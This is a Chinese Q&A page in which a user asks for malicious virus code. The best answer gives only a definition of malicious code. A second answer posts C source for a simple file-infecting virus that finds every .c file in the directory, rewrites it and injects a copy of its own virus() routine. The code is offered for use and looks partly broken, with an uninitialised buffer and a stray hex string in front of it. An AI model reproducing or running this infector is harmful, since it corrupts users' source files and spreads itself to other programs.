永发信息网

求一段恶意病毒代码

答案:2  悬赏:30  手机版
解决时间 2021-04-04 23:40
  • 提问者网友:留有余香
  • 2021-04-04 05:36
求一段恶意病毒代码
最佳答案
  • 五星知识达人网友:胯下狙击手
  • 2021-04-04 06:16
恶意代码是一种程序,它通过把代码在不被察觉的情况下镶嵌到另一段程序中,从而达到破坏被感染电脑数据、运行具有入侵性或破坏性的程序、破坏被感染电脑数据的安全性和完整性的目的。按传播方式,恶意代码可以分成五类:病毒,木马,蠕虫,移动代码和复合型病毒.
全部回答
  • 1楼网友:山君与见山
  • 2021-04-04 07:29
32313133353236313431303231363533e4b893e5b19e31333264636136这是一个比较简单的 勉强算是病毒代码   #include <stdio.h>   #include <dir.h>   void main(void)   {   virus();   }   int virus()   {   struct ffblk ffblk;   FILE *in,*out,*read;   char *virus="virus.c";   char buf[50][80];   char *p;   char *end="return";   char *bracket="}";   char *main="main";   char *include[2]={"stdio.h","dir.h"};   char *int_virus="int virus()";   char *buffer;   int done,i,j=0,flag=0;   printf("\nI have a virus. Writen by PuBin\n");   done = findfirst("*.c",&ffblk,0);   while (!done)   {   i=0;   if ((in = fopen(ffblk.ff_name, "rt"))== NULL)   {   goto next;   }   do{   if(i>=50)   {   fclose(in);   goto next;   }   p=fgets(buf[i],80,in);   i++;   }while(p!=NULL);   fclose(in);   out=fopen(ffblk.ff_name,"w+t");   fputs("#include<stdio.h>\n",out);   fputs("#include<dir.h>\n",out);   do   {   if(strstr(buf[j],main)!=NULL)   {   for(;j<i-1;j++)   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)   fputs(buf[j],out);   else   {   if(flag==0)   {   flag=1;   fputs("virus();\n",out);   }   fputs(buf[j],out);   }   }   else if((strstr(buf[j],include[0])==NULL)   &&(strstr(buf[j],include[1])==NULL))   {   fputs(buf[j],out);   j++;   }   else   j++;   }while(j<i-1);   read=fopen(virus,"rt");   do   {   p=fgets(buffer,80,read);   if(strstr(buffer,int_virus))   while(p!=NULL)   {   if(strstr(buffer,virus)==NULL)   fputs(buffer,out);   else   {   fputs(" char *virus=\"",out);   fputs(ffblk.ff_name,out);   fputs("\";\n",out);   }   p=fgets(buffer,80,read);   }   }while(p!=NULL);   fclose(read);   fclose(out);   printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);   next: done = findnext(&ffblk);   }   return 0;   }
我要举报
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息
大家都在看
推荐资讯